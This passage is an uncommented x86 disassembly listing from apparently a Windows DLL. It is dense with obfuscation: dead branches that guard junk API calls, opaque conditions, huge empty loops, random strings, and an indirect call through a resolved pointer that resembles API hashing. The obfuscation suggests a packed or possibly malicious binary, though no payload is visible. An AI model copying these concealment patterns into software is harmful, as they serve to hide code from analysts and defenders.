imul eax, dword [ebp - 0x588]
mov dword [ebp - 0xaec], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x368]
imul eax, dword [ebp - 0x40]
mov dword [ebp - 0x740], eax
cmp dword [ebp - 0x740], 0
jne 0x1003ba65
cmp dword [ebp - 0x40], 0
jne 0x1003ba65
and dword [ebp - 0x590], 0
jmp 0x1003ba6f
mov dword [ebp - 0x590], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x368]
add eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x40]
cmp dword [ebp + ecx*4 - 0x368], eax
je 0x1003ba9a
mov dword [ebp - 0x888], 1
jmp 0x1003baa1
and dword [ebp - 0x888], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x888]
mov dword [ebp + eax - 0xd3c], ecx
jmp 0x1003b914
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc04]
call fcn.1000f047
jmp 0x1003b89b
mov dword [ebp - 0x598], 0xdfa
mov dword [ebp - 0xb28], str.zhurrw_hdbgzjo_nzadwg_wwcx_druuv_ijdlbhdot_ery_wdcxvtcc_igmptz
cmp dword [ebp - 0x598], 0xfce
jle 0x1003bb91
and dword [ebp - 0x224], 0
jmp 0x1003bb07
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x323b
jge 0x1003bb91
and dword [ebp - 0x2c4], 0
jmp 0x1003bb29
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x5610
jge 0x1003bb8c
mov eax, dword [ebp - 0x224]
sub eax, dword [ebp - 0x2c4]
cdq
mov dword [ebp - 0xa34], eax
mov dword [ebp - 0xa30], edx
push dword [ebp - 0xa30]
push dword [ebp - 0xa34]
lea ecx, [ebp - 0x10a4]
call fcn.10001a55
pop ecx
pop ecx
mov dword [ebp - 0x994], eax
mov ecx, dword [ebp - 0x994]
call fcn.10001bde
push eax
call fcn.10047d34
pop ecx
lea ecx, [ebp - 0x10a4]
call fcn.10001bd4
jmp 0x1003bb1c
jmp 0x1003bafa
lea eax, [ebp - 0xcd8]
push eax
lea ecx, [ebp - 0x1038]
call fcn.1000ef11
mov dword [ebp - 0xb20], eax
mov eax, dword [ebp - 0xb20]
mov dword [ebp - 0x99c], eax
mov dword [ebp - 4], 0x13
push dword [ebp - 0x99c]
call fcn.1003015b
pop ecx
mov dword [ebp - 0x764], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1038]
call fcn.10001d73
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x598], 0xbaf
jge 0x1003bbfc
push dword [ebp - 0xb28]
call fcn.10047d34
pop ecx
jmp 0x1003bc18
or dword [ebp - 4], 0xffffffff
jmp 0x1003bc22
mov dword [ebp - 0x748], 0x2b35
mov dword [ebp - 0x9a4], str.jwpaunrl_mpuhdwaks_xhufu_hpry_vtgochms_gyhaacxp_lzbvmugcj_lpyp_nptxsq_ifbxdcol
cmp dword [ebp - 0x748], 0x2d22
jle 0x1003bd1f
and dword [ebp - 0x2cc], 0
jmp 0x1003bc5c
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x7a77
jge 0x1003bd1f
and dword [ebp - 0x22c], 0
jmp 0x1003bc82
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x7940
jge 0x1003bd1a
and dword [ebp - 0x314], 0
jmp 0x1003bca8
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x1db6
jge 0x1003bd15
and dword [ebp - 0x234], 0
jmp 0x1003bcca
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x3f91
jge 0x1003bd13
mov eax, dword [ebp - 0x22c]
sub eax, dword [ebp - 0x314]
and eax, dword [ebp - 0x234]
xor eax, dword [ebp - 0x2cc]
cdq
mov dword [ebp - 0xa40], eax
mov dword [ebp - 0xa3c], edx
push dword [ebp - 0xa3c]
push dword [ebp - 0xa40]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1003bcbd
jmp 0x1003bc9b
jmp 0x1003bc75
jmp 0x1003bc4f
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x748], 0x29fc
jge 0x1003bd42
mov edx, dword [ebp - 0x9a4]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x1003bd5e
or dword [ebp - 4], 0xffffffff
jmp 0x1003bd68
push 3
lea ecx, [ebp - 0x900]
call fcn.1000efc4
mov dword [ebp - 4], 0x18
push 2
lea ecx, [ebp - 0x8dc]
call fcn.1000efc4
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x394], 0x5cefd06
mov dword [ebp - 0x134], 3
push 3
lea ecx, [ebp - 0x920]
call fcn.1000efc4
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x23c], 0xffffffff
mov dword [ebp - 0xb9c], 7
mov dword [ebp - 0x768], 0xffffffff
mov dword [ebp - 0x9ac], 0xffffffff
mov dword [ebp - 0x2c], 0
jmp 0x1003bdea
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003be06
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x900]
call fcn.1000f063
mov dword [eax], 0xfffffff9
jmp 0x1003bde3
mov dword [ebp - 0x2c], 0
jmp 0x1003be16
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1003be32
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x8dc]
call fcn.1000f063
mov dword [eax], 0xba394643
jmp 0x1003be0f
mov dword [ebp - 0x2c], 0
jmp 0x1003be42
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003be5e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x920]
call fcn.1000f063
mov dword [eax], 0xa6001648
jmp 0x1003be3b
push 0
lea ecx, [ebp - 0x8dc]
call fcn.1000f063
mov dword [eax], 2
jmp 0x1003be97
push 0
lea ecx, [ebp - 0x8dc]
call fcn.1000f063
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x5a0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5a0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x8dc]
call fcn.1000f063
cmp dword [eax], 0
jl 0x1003c012
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x820], 0xffffffff
mov dword [ebp - 0x5b8], 0
cmp dword [ebp - 0x104], 0xffffffff
ja 0x1003bfe0
mov dword [ebp - 0x820], 0xffff
cmp dword [ebp - 0x820], 0
je 0x1003bf09
mov eax, 0xa165
test eax, eax
je 0x1003bf09
cmp dword [ebp - 0x104], 0
je 0x1003bf09
mov dword [ebp - 0x5a8], 1
jmp 0x1003bf10
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x104]
sub eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x104], 0
jne 0x1003bf3b
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x1003bf3b
and dword [ebp - 0x750], 0
jmp 0x1003bf45
mov dword [ebp - 0x750], 1
push 1
lea ecx, [ebp - 0x900]
call fcn.1000f063
mov eax, dword [eax]
sub eax, dword [ebp - 0x750]
jne 0x1003bf6e
mov eax, 0xa81a82e7
test eax, eax
jne 0x1003bf6e
and dword [ebp - 0x5b0], 0
jmp 0x1003bf78
mov dword [ebp - 0x5b0], 1
mov esi, dword [ebp - 0x5b0]
neg esi
push 0
lea ecx, [ebp - 0x8dc]
call fcn.1000f063
cmp esi, dword [eax]
jne 0x1003bf9a
cmp dword [ebp - 0x134], 0
jne 0x1003bfac
cmp dword [ebp - 0x104], 0
jne 0x1003bfac
and dword [ebp - 0x3bc], 0
jmp 0x1003bfb6
mov dword [ebp - 0x3bc], 1
push 0
lea ecx, [ebp - 0x920]
call fcn.1000f063
mov ecx, dword [ebp - 0x3bc]
mov dword [eax], ecx
cmp dword [ebp - 0x3bc], 0
je 0x1003bfe0
mov dword [ebp - 0x8a0], 1
jmp 0x1003bfe7
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x8a0]
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0
je 0x1003c00d
jmp 0x1003be73
jmp 0x1003be73
mov dword [ebp - 0x23c], 0xffffffff
cmp dword [ebp - 0x23c], 5
jb 0x1003c031
mov dword [ebp - 0x760], 1
jmp 0x1003c038
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x134]
add eax, 0xc1b366a
jne 0x1003c051
mov dword [ebp - 0x758], 1
jmp 0x1003c058
and dword [ebp - 0x758], 0
cmp dword [ebp - 0x758], 0xfffe
jne 0x1003c071
push 0
lea ecx, [ebp - 0x900]
call fcn.1000f063
push 2
lea ecx, [ebp - 0x900]
call fcn.1000f063
cmp dword [eax], 1
jg 0x1003c08f
mov dword [ebp - 0x5c0], 1
jmp 0x1003c096
and dword [ebp - 0x5c0], 0
cmp dword [ebp - 0x5c0], 0x1361
jl 0x1003c0ae
mov dword [ebp - 0x828], 1
jmp 0x1003c0b5
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0xea0], eax
push 1
lea ecx, [ebp - 0x920]
call fcn.1000f063
mov esi, dword [ebp - 0x134]
push 2
lea ecx, [ebp - 0x900]
call fcn.1000f063
cmp esi, dword [eax]
jge 0x1003c0fd
mov dword [ebp - 0x33c], 1
jmp 0x1003c104
and dword [ebp - 0x33c], 0
push 2
lea ecx, [ebp - 0x920]
call fcn.1000f063
mov ecx, dword [ebp - 0x33c]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x8dc]
call fcn.1000f063
mov ecx, dword [ebp - 0x33c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x33c], eax
jl 0x1003c148
mov dword [ebp - 0x5c8], 1
jmp 0x1003c14f
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0xb9c]
imul eax, dword [ebp - 0x5c8]
test eax, eax
jne 0x1003c167
cmp dword [ebp - 0x134], 0
push 0
lea ecx, [ebp - 0x8dc]
call fcn.1000f063
mov ecx, dword [ebp - 0x760]
cmp ecx, dword [eax]
jl 0x1003c18a
mov dword [ebp - 0x5d0], 1
jmp 0x1003c191
and dword [ebp - 0x5d0], 0
cmp dword [ebp - 0x5d0], 0xeafd
je 0x1003c1a9
mov dword [ebp - 0x890], 1
jmp 0x1003c1b0
and dword [ebp - 0x890], 0
push 1
lea ecx, [ebp - 0x900]
call fcn.1000f063
mov ecx, dword [ebp - 0x890]
cmp ecx, dword [eax]
jl 0x1003c1d3
mov dword [ebp - 0x5d8], 1
jmp 0x1003c1da
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 0
jne 0x1003c20a
push 2
lea ecx, [ebp - 0x920]
call fcn.1000f063
cmp dword [eax], 0
jne 0x1003c20a
and dword [ebp - 0x5e0], 0
jmp 0x1003c214
mov dword [ebp - 0x5e0], 1
cmp dword [ebp - 0x5e0], 0xfffffff6
jne 0x1003c229
mov dword [ebp - 0x830], 1
jmp 0x1003c230
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x9ac], eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x920]
call fcn.1000f047
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x8dc]
call fcn.1000f047
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x900]
call fcn.1000f047
and dword [ebp - 0x31c], 0
jmp 0x1003c27f
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0xd
jae 0x1003c42c
push 2
lea ecx, [ebp - 0xe0c]
call fcn.1000efc4
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x2d4], 0xdf2f4a8b
mov dword [ebp - 0x244], 0
jmp 0x1003c2c3
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 2
jge 0x1003c2e5
push dword [ebp - 0x244]
lea ecx, [ebp - 0xe0c]
call fcn.1000f063
mov dword [eax], 0xf0ea75c9
jmp 0x1003c2b6
mov byte [ebp - 0xd4], 0
movzx eax, byte [ebp - 0xd4]
test eax, eax
je 0x1003c304
push 0
push 0xa7c
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov dword [ebp - 0x2d4], 0
jmp 0x1003c31d
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 1
jg 0x1003c408
push 3
lea ecx, [ebp - 0xb80]
call fcn.1000efc4
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x24c], 0
jmp 0x1003c354
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x1003c376
push dword [ebp - 0x24c]
lea ecx, [ebp - 0xb80]
call fcn.1000f063
mov dword [eax], 0x801fc3ee
jmp 0x1003c347
mov byte [ebp - 0xd6], 0
movzx eax, byte [ebp - 0xd6]
test eax, eax
je 0x1003c390
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 2
lea ecx, [ebp - 0xb80]
call fcn.1000f063
mov dword [eax], 1
jmp 0x1003c3c9
push 2
lea ecx, [ebp - 0xb80]
call fcn.1000f063
mov dword [ebp - 0x5e8], eax
mov eax, dword [ebp - 0x5e8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5e8]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xb80]
call fcn.1000f063
cmp dword [eax], 0
jl 0x1003c3f4
mov dword [ebp - 0x770], 1
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
jmp 0x1003c3a5
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xb80]
call fcn.1000f047
jmp 0x1003c310
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe0c]
call fcn.1000f047
xor eax, eax
mov ecx, dword [ebp - 0x31c]
mov word [ebp + ecx*2 - 0xcd8], ax
jmp 0x1003c272
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0xb0], 0xffffffff
mov dword [ebp - 0x11c], 0xffffffff
mov dword [ebp - 0x3d4], 0x9124c6e1
mov dword [ebp - 0xb5c], 0
mov dword [ebp - 0x848], 1
cmp dword [ebp - 0x50], 1
jle 0x1003c477
mov dword [ebp - 0x5f0], 1
jmp 0x1003c47e
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x5f0], eax
jl 0x1003c495
mov dword [ebp - 0x8a4], 1
jmp 0x1003c49c
and dword [ebp - 0x8a4], 0
cmp dword [ebp - 0x8a4], 0x9fa553fc
jb 0x1003c4b5
xor eax, eax
jne 0x1003c4b5
and dword [ebp - 0x5f8], 0
jmp 0x1003c4bf
mov dword [ebp - 0x5f8], 1
mov eax, dword [ebp - 0x5f8]
neg eax
push 0xfffffffffffffffd
pop ecx
sub ecx, eax
cmp ecx, dword [ebp - 0xb0]
je 0x1003c4e0
mov dword [ebp - 0x778], 1
jmp 0x1003c4e7
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x778], eax
jge 0x1003c4fe
mov dword [ebp - 0x600], 1
jmp 0x1003c505
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x600], eax
jge 0x1003c51c
mov dword [ebp - 0x838], 1
jmp 0x1003c523
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x838], eax
je 0x1003c53d
mov dword [ebp - 0x608], 1
jmp 0x1003c544
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x608], eax
jl 0x1003c55b
mov dword [ebp - 0x780], 1
jmp 0x1003c562
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x780]
je 0x1003c579
mov dword [ebp - 0x610], 1
jmp 0x1003c580
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x610], eax
jne 0x1003c59a
mov dword [ebp - 0xafc], 1
jmp 0x1003c5a1
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xea8], eax
cmp dword [ebp - 0x50], 0x1fb9
je 0x1003c5c2
mov dword [ebp - 0x89c], 1
jmp 0x1003c5c9
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x89c]
sub eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
jg 0x1003c5e3
mov dword [ebp - 0x618], 1
jmp 0x1003c5ea
and dword [ebp - 0x618], 0
imul eax, dword [ebp - 0x618], 0x4b26
cmp eax, dword [ebp - 0xb0]
jne 0x1003c608
mov dword [ebp - 0x788], 1
jmp 0x1003c60f
and dword [ebp - 0x788], 0
cmp dword [ebp - 0x788], 0
jge 0x1003c648
mov byte [ebp - 0xd8], 0
movzx eax, byte [ebp - 0xd8]
test eax, eax
je 0x1003c643
push 0
push 0x17a8
push 0
push 0x1cc5
push 0x25a6
call dword [sym.imp.GDI32.dll_ExtCreatePen]
jmp 0x1003c924
mov dword [ebp - 0xf0], 0xffff
mov dword [ebp - 0x9b4], 0x2ee8b720
mov dword [ebp - 0x90], 0
jmp 0x1003c675
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x1003c691
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xc14], 9
jmp 0x1003c668
mov dword [ebp - 0x90], 0
jmp 0x1003c6aa
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x1003c6c6
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xf08], 0xb8a8
jmp 0x1003c69d
mov byte [ebp - 0xda], 0
movzx eax, byte [ebp - 0xda]
test eax, eax
je 0x1003c6e2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
cmp dword [ebp - 0xf0], 0
je 0x1003c706
cmp dword [ebp - 0xf0], 0
je 0x1003c706
cmp dword [ebp - 0x50], 0
je 0x1003c706
mov dword [ebp - 0x620], 1
jmp 0x1003c70d
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0xb0]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x620]
je 0x1003c736
mov dword [ebp - 0x840], 1
jmp 0x1003c73d
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x840]
sub eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0xb0]
je 0x1003c758
cmp dword [ebp - 0x3d4], 0
imul eax, dword [ebp - 0x9b4], 0x2bb1
sub eax, 0x4a5bf585
je 0x1003c905
mov dword [ebp - 0x39c], 0x9c94
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0xeb0], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xeb8], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0xcdc], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xed4], eax
mov eax, dword [ebp - 0x3d4]
cmp eax, dword [ebp - 0xf0]
jge 0x1003c7c1
mov dword [ebp - 0x628], 1
jmp 0x1003c7c8
and dword [ebp - 0x628], 0
cmp dword [ebp - 0x628], 0xe821
jle 0x1003c7dd
cmp dword [ebp - 0x11c], 0
jne 0x1003c7ef
cmp dword [ebp - 0x11c], 0
jne 0x1003c7ef
and dword [ebp - 0x790], 0
jmp 0x1003c7f9
mov dword [ebp - 0x790], 1
mov eax, dword [ebp - 0xf0]
add eax, dword [ebp - 0x790]
jne 0x1003c815
or eax, 0xffffffff
jne 0x1003c815
and dword [ebp - 0x630], 0
jmp 0x1003c81f
mov dword [ebp - 0x630], 1
mov eax, dword [ebp - 0x630]
add eax, 0x8a13
cmp eax, 0xb7df
jl 0x1003c83d
mov dword [ebp - 0x8ac], 1
jmp 0x1003c844
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0xb5c]
cmp dword [ebp - 0x8ac], eax
jg 0x1003c85e
mov dword [ebp - 0x638], 1
jmp 0x1003c865
and dword [ebp - 0x638], 0
cmp dword [ebp - 0x638], 0xd5e8e059
ja 0x1003c87d
mov dword [ebp - 0x798], 1
jmp 0x1003c884
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x39c]
cmp dword [ebp - 0x798], eax
jle 0x1003c89e
mov dword [ebp - 0x9bc], 1
jmp 0x1003c8a5
and dword [ebp - 0x9bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc14]
mov dword [ebp - 0xedc], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0xee4], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
imul ecx, dword [ebp + ecx - 0xf08], 0xf60
cmp ecx, dword [ebp + eax - 0xc14]
je 0x1003c8f0
mov dword [ebp - 0x640], 1
jmp 0x1003c8f7
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x11c], eax
jmp 0x1003c924
mov byte [ebp - 0xdc], 0
movzx eax, byte [ebp - 0xdc]
test eax, eax
je 0x1003c924
push 0
push 0x1463
call dword [sym.imp.USER32.dll_BeginPaint]
mov eax, dword [ebp - 0x848]
dec eax
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x764], 0
je 0x1003fb9a
mov dword [ebp - 0x254], 0xd6c05baf
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x1003c96a
push 0x1bc
push 0x19e1
call dword [sym.imp.GDI32.dll_RestoreDC]
mov dword [ebp - 0x254], 0xffffffe5
jmp 0x1003c983
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0xfffffffd
jl 0x1003c9c7
mov dword [ebp - 0xcbc], 6
mov dword [ebp - 0xcb8], 6
mov dword [ebp - 0xcb4], 6
mov dword [ebp - 0xcb0], 6
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xcbc], 0
je 0x1003c9c5
jmp 0x1003c9c7
jmp 0x1003c976
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 0x12c], 0xcf5aa05d
mov dword [ebp - 0x8f0], 0
mov dword [ebp - 0x8ec], 0
mov dword [ebp - 0x8e8], 0
mov dword [ebp - 0x8e4], 0
mov dword [ebp - 0x648], 0x7334
mov dword [ebp - 0xb04], str.jhix_suzvcfyz_ihkng_uduhbpmac_iel_oab_xbfhrmodk_urwpuy_ovjbjkjsr_zpiro
cmp dword [ebp - 0x648], 0x758d
jle 0x1003cb13
and dword [ebp - 0x264], 0
jmp 0x1003ca3a
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x349e
jge 0x1003cb00
and dword [ebp - 0x2dc], 0
jmp 0x1003ca60
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x1aa2
jge 0x1003cafb
and dword [ebp - 0x25c], 0
jmp 0x1003ca86
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x5b9c
jge 0x1003caf6
and dword [ebp - 0x35c], 0
jmp 0x1003caa8
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x2b11
jge 0x1003caf4
mov eax, dword [ebp - 0x2dc]
imul eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x35c]
shl eax, cl
xor eax, dword [ebp - 0x264]
cdq
mov dword [ebp - 0xa4c], eax
mov dword [ebp - 0xa48], edx
push dword [ebp - 0xa48]
push dword [ebp - 0xa4c]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1003ca9b
jmp 0x1003ca79
jmp 0x1003ca53
jmp 0x1003ca2d
push 0x15cd
push 0xe28
call fcn.10043729
pop ecx
pop ecx
call eax
mov dword [ebp - 0x3c4], 0xfffffffc
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x648], 0x71b5
jge 0x1003cb40
mov edx, dword [ebp - 0xb04]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x1003cb5c
or dword [ebp - 4], 0xffffffff
jmp 0x1003cb66
mov dword [ebp - 0x7a0], 0x73e3
mov dword [ebp - 0x9c4], str.cvqqias_seeqx_ibl
cmp dword [ebp - 0x7a0], 0x75cd
jle 0x1003cc03
and dword [ebp - 0x2e4], 0
jmp 0x1003cb9c
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x336f
jge 0x1003cbfd
and dword [ebp - 0x26c], 0
jmp 0x1003cbbe
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x43f
jge 0x1003cbfb
mov eax, dword [ebp - 0x2e4]
and eax, dword [ebp - 0x26c]
cdq
mov dword [ebp - 0xa58], eax
mov dword [ebp - 0xa54], edx
push dword [ebp - 0xa54]
push dword [ebp - 0xa58]
mov ecx, 0x1007ab78
call fcn.10001bfe
jmp 0x1003cbb1
jmp 0x1003cb8f
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x7a0], 0x7205
jge 0x1003cc26
mov edx, dword [ebp - 0x9c4]
mov ecx, 0x1007ab78
call fcn.100039fb
jmp 0x1003cc42
or dword [ebp - 4], 0xffffffff
jmp 0x1003cc4c
xor eax, eax
inc eax
je 0x1003cc82
cmp dword [ebp - 0x14], 1
jge 0x1003cc6c
mov eax, 0xbd85
test eax, eax
je 0x1003cc6c
mov dword [ebp - 0x650], 1
jmp 0x1003cc73
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
sub eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x12c]
jle 0x1003cc99
mov dword [ebp - 0x8b4], 1
jmp 0x1003cca0
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x8b4], eax
jle 0x1003ccb7
mov dword [ebp - 0x658], 1
jmp 0x1003ccbe
and dword [ebp - 0x658], 0
cmp dword [ebp - 0x658], 0xffffffff
jne 0x1003ccd3
mov dword [ebp - 0x7a8], 1
jmp 0x1003ccda
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x7a8], eax
jg 0x1003ccf4
mov dword [ebp - 0x660], 1
jmp 0x1003ccfb
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x660], eax
jg 0x1003cd18
cmp dword [ebp - 0x14], 0
je 0x1003cd18
mov dword [ebp - 0xba4], 1
jmp 0x1003cd1f
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xeec], eax
xor eax, eax
inc eax
cmp eax, 0xf39281c1
ja 0x1003cd42
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x1003cd42
and dword [ebp - 0x850], 0
jmp 0x1003cd4c
mov dword [ebp - 0x850], 1
mov eax, dword [ebp - 0x850]
add eax, 0xfe9f
cmp eax, dword [ebp - 0x14]
jg 0x1003cd68
mov dword [ebp - 0x668], 1
jmp 0x1003cd6f
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x668]
cmp eax, dword [ebp - 0x12c]
jge 0x1003cd8d
mov dword [ebp - 0x7b0], 1
jmp 0x1003cd94
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1003d0e2
push 2
lea ecx, [ebp - 0xc78]
call fcn.1000efc4
mov dword [ebp - 4], 0x21
mov dword [ebp - 0xa4], 0x7c2657a7
mov dword [ebp - 0x670], 0x457d
mov dword [ebp - 0x9cc], str.zxbocft_bgqewizbn_gmxrw_qdyolf_rhfhuuk_yoszao_zvjwfpj_phvwa_emucm_zmzzfbem_tobybhfw_cqmykxq
cmp dword [ebp - 0x670], 0x45c9
jle 0x1003ce5c
and dword [ebp - 0x324], 0
jmp 0x1003cdfb
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0xaa4
jge 0x1003ce5c
and dword [ebp - 0x274], 0
jmp 0x1003ce1d
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x372a
jge 0x1003ce5a
mov eax, dword [ebp - 0x324]
sub eax, dword [ebp - 0x274]
cdq
